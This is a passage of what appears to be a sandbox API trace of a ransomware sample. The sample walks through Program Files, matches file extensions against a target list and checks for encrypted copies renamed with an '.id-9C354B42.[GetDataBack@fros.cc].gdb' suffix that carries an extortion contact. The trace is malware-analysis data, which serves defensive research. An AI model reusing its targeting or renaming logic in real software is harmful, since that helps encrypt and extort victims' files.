lpString2=".MSG") returned 1 [0129.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0129.067] lstrlenW (lpString=".zip") returned 4 [0129.067] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0129.067] lstrlenW (lpString=".rar") returned 4 [0129.067] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0129.067] lstrlenW (lpString=".bz2") returned 4 [0129.067] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0129.067] lstrlenW (lpString=".7z") returned 3 [0129.067] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0129.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0129.068] lstrlenW (lpString=".dbf") returned 4 [0129.068] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0129.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0129.068] lstrlenW (lpString=".1cd") returned 4 [0129.068] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0129.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0129.068] lstrlenW (lpString=".jpg") returned 4 [0129.068] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0129.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0129.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0129.068] lstrlenW (lpString=".doc") returned 4 [0129.068] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0129.068] lstrlenW (lpString=".docx") returned 5 [0129.068] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0129.068] lstrlenW (lpString=".pdf") returned 4 [0129.068] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0129.068] lstrlenW (lpString=".xls") returned 4 [0129.068] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0129.068] lstrlenW (lpString=".xlsx") returned 5 [0129.068] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0129.068] lstrlenW (lpString=".ppt") returned 4 [0129.068] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0129.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0129.068] lstrlenW (lpString=".zip") returned 4 [0129.068] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0129.068] lstrlenW (lpString=".rar") returned 4 [0129.068] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0129.068] lstrlenW (lpString=".bz2") returned 4 [0129.068] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0129.068] lstrlenW (lpString=".7z") returned 3 [0129.068] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0129.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0129.068] lstrlenW (lpString=".dbf") returned 4 [0129.069] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0129.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0129.069] lstrlenW (lpString=".1cd") returned 4 [0129.069] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0129.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0129.069] lstrlenW (lpString=".jpg") returned 4 [0129.069] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0129.069] lstrcmpiW (lpString1=".bmp", lpString2=".gdb") returned -1 [0129.069] lstrlenW (lpString="verisign.bmp") returned 12 [0129.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0129.448] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=2702) returned 1 [0129.448] CloseHandle (hObject=0x1fc) returned 1 [0129.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0129.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0129.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0129.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0129.450] lstrlenW (lpString=".doc") returned 4 [0129.450] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0129.450] lstrlenW (lpString=".docx") returned 5 [0129.450] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0129.450] lstrlenW (lpString=".pdf") returned 4 [0129.450] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0129.450] lstrlenW (lpString=".xls") returned 4 [0129.450] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0129.451] lstrlenW (lpString=".xlsx") returned 5 [0129.451] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0129.451] lstrlenW (lpString=".ppt") returned 4 [0129.451] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0129.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0129.451] lstrlenW (lpString=".zip") returned 4 [0129.451] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0129.451] lstrlenW (lpString=".rar") returned 4 [0129.451] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0129.451] lstrlenW (lpString=".bz2") returned 4 [0129.451] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0129.451] lstrlenW (lpString=".7z") returned 3 [0129.451] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0129.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0129.451] lstrlenW (lpString=".dbf") returned 4 [0129.451] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0129.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0129.451] lstrlenW (lpString=".1cd") returned 4 [0129.451] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0129.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0129.451] lstrlenW (lpString=".jpg") returned 4 [0129.451] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0129.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0129.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0129.451] lstrlenW (lpString=".doc") returned 4 [0129.451] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0129.451] lstrlenW (lpString=".docx") returned 5 [0129.451] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0129.451] lstrlenW (lpString=".pdf") returned 4 [0129.451] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0129.451] lstrlenW (lpString=".xls") returned 4 [0129.451] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0129.451] lstrlenW (lpString=".xlsx") returned 5 [0129.451] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0129.451] lstrlenW (lpString=".ppt") returned 4 [0129.451] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0129.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0129.451] lstrlenW (lpString=".zip") returned 4 [0129.451] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0129.451] lstrlenW (lpString=".rar") returned 4 [0129.451] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0129.451] lstrlenW (lpString=".bz2") returned 4 [0129.451] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0129.451] lstrlenW (lpString=".7z") returned 3 [0129.452] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0129.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0129.452] lstrlenW (lpString=".dbf") returned 4 [0129.452] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0129.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0129.452] lstrlenW (lpString=".1cd") returned 4 [0129.452] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0129.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0129.452] lstrlenW (lpString=".jpg") returned 4 [0129.452] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0129.452] lstrcmpiW (lpString1=".inc", lpString2=".gdb") returned 1 [0129.452] lstrlenW (lpString="adcvbs.inc") returned 10 [0129.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0129.545] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=623) returned 1 [0129.545] CloseHandle (hObject=0x1fc) returned 1 [0129.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0129.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0129.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0129.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0129.545] lstrlenW (lpString=".doc") returned 4 [0129.545] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0129.545] lstrlenW (lpString=".docx") returned 5 [0129.545] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0129.545] lstrlenW (lpString=".pdf") returned 4 [0129.545] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0129.545] lstrlenW (lpString=".xls") returned 4 [0129.545] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0129.545] lstrlenW (lpString=".xlsx") returned 5 [0129.545] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0129.545] lstrlenW (lpString=".ppt") returned 4 [0129.545] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0129.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0129.545] lstrlenW (lpString=".zip") returned 4 [0129.545] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0129.545] lstrlenW (lpString=".rar") returned 4 [0129.545] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0129.545] lstrlenW (lpString=".bz2") returned 4 [0129.545] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0129.545] lstrlenW (lpString=".7z") returned 3 [0129.545] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0129.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0129.546] lstrlenW (lpString=".dbf") returned 4 [0129.546] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0129.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0129.546] lstrlenW (lpString=".1cd") returned 4 [0129.546] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0129.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0129.546] lstrlenW (lpString=".jpg") returned 4 [0129.546] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0129.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0129.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0129.546] lstrlenW (lpString=".doc") returned 4 [0129.546] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0129.546] lstrlenW (lpString=".docx") returned 5 [0129.546] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0129.546] lstrlenW (lpString=".pdf") returned 4 [0129.546] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0129.546] lstrlenW (lpString=".xls") returned 4 [0129.546] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0129.546] lstrlenW (lpString=".xlsx") returned 5 [0129.546] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0129.546] lstrlenW (lpString=".ppt") returned 4 [0129.546] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0129.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0129.546] lstrlenW (lpString=".zip") returned 4 [0129.546] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0129.546] lstrlenW (lpString=".rar") returned 4 [0129.546] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0129.546] lstrlenW (lpString=".bz2") returned 4 [0129.546] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0129.546] lstrlenW (lpString=".7z") returned 3 [0129.546] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0129.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0129.546] lstrlenW (lpString=".dbf") returned 4 [0129.546] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0129.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0129.546] lstrlenW (lpString=".1cd") returned 4 [0129.546] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0129.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0129.547] lstrlenW (lpString=".jpg") returned 4 [0129.547] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0129.547] lstrcmpiW (lpString1=".png", lpString2=".gdb") returned 1 [0129.547] lstrlenW (lpString="pushplaysubpicture.png") returned 22 [0129.547] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0129.925] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=2962) returned 1 [0129.925] CloseHandle (hObject=0x1ac) returned 1 [0129.925] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png")) returned 0x20 [0129.925] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0129.925] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.926] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0129.926] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0129.926] lstrlenW (lpString=".doc") returned 4 [0129.926] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0129.926] lstrlenW (lpString=".docx") returned 5 [0129.926] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0129.926] lstrlenW (lpString=".pdf") returned 4 [0129.926] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0129.926] lstrlenW (lpString=".xls") returned 4 [0129.926] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0129.926] lstrlenW (lpString=".xlsx") returned 5 [0129.926] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0129.926] lstrlenW (lpString=".ppt") returned 4 [0129.926] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0129.926] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0129.926] lstrlenW (lpString=".zip") returned 4 [0129.926] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0129.926] lstrlenW (lpString=".rar") returned 4 [0129.926] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0129.926] lstrlenW (lpString=".bz2") returned 4 [0129.926] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0129.926] lstrlenW (lpString=".7z") returned 3 [0129.926] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0129.926] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0129.926] lstrlenW (lpString=".dbf") returned 4 [0129.926] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0129.926] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0129.926] lstrlenW (lpString=".1cd") returned 4 [0129.926] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0129.926] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0129.926] lstrlenW (lpString=".jpg") returned 4 [0129.926] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0129.927] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0129.927] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0129.927] lstrlenW (lpString=".doc") returned 4 [0129.927] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0129.927] lstrlenW (lpString=".docx") returned 5 [0129.927] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0129.927] lstrlenW (lpString=".pdf") returned 4 [0129.927] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0129.927] lstrlenW (lpString=".xls") returned 4 [0129.927] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0129.927] lstrlenW (lpString=".xlsx") returned 5 [0129.927] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0129.927] lstrlenW (lpString=".ppt") returned 4 [0129.927] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0129.927] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0129.927] lstrlenW (lpString=".zip") returned 4 [0129.927] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0129.927] lstrlenW (lpString=".rar") returned 4 [0129.927] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0129.927] lstrlenW (lpString=".bz2") returned 4 [0129.927] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0129.927] lstrlenW (lpString=".7z") returned 3 [0129.927] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0129.927] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0129.927] lstrlenW (lpString=".dbf") returned 4 [0129.927] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0129.927] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0129.927] lstrlenW (lpString=".1cd") returned 4 [0129.927] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0129.927] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0129.927] lstrlenW (lpString=".jpg") returned 4 [0129.927] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0129.928] lstrcmpiW (lpString1=".wmv", lpString2=".gdb") returned 1 [0129.928] lstrlenW (lpString="Notes_LOOP_BG_PAL.wmv") returned 21 [0129.928] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0130.657] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=869322) returned 1 [0130.658] CloseHandle (hObject=0x1fc) returned 1 [0130.658] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv")) returned 0x20 [0130.658] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.658] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.658] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0130.658] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0130.658] lstrlenW (lpString=".doc") returned 4 [0130.658] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0130.658] lstrlenW (lpString=".docx") returned 5 [0130.658] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0130.658] lstrlenW (lpString=".pdf") returned 4 [0130.658] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0130.658] lstrlenW (lpString=".xls") returned 4 [0130.658] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0130.658] lstrlenW (lpString=".xlsx") returned 5 [0130.658] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0130.658] lstrlenW (lpString=".ppt") returned 4 [0130.658] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0130.658] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0130.658] lstrlenW (lpString=".zip") returned 4 [0130.658] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0130.659] lstrlenW (lpString=".rar") returned 4 [0130.659] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0130.659] lstrlenW (lpString=".bz2") returned 4 [0130.659] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0130.659] lstrlenW (lpString=".7z") returned 3 [0130.659] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0130.659] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0130.659] lstrlenW (lpString=".dbf") returned 4 [0130.659] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0130.659] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0130.659] lstrlenW (lpString=".1cd") returned 4 [0130.659] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0130.659] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0130.659] lstrlenW (lpString=".jpg") returned 4 [0130.659] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0130.659] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0130.659] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0130.659] lstrlenW (lpString=".doc") returned 4 [0130.659] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0130.659] lstrlenW (lpString=".docx") returned 5 [0130.659] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0130.659] lstrlenW (lpString=".pdf") returned 4 [0130.659] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0130.659] lstrlenW (lpString=".xls") returned 4 [0130.659] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0130.659] lstrlenW (lpString=".xlsx") returned 5 [0130.659] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0130.659] lstrlenW (lpString=".ppt") returned 4 [0130.659] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0130.659] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0130.659] lstrlenW (lpString=".zip") returned 4 [0130.659] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0130.659] lstrlenW (lpString=".rar") returned 4 [0130.659] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0130.659] lstrlenW (lpString=".bz2") returned 4 [0130.660] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0130.660] lstrlenW (lpString=".7z") returned 3 [0130.660] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0130.660] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0130.660] 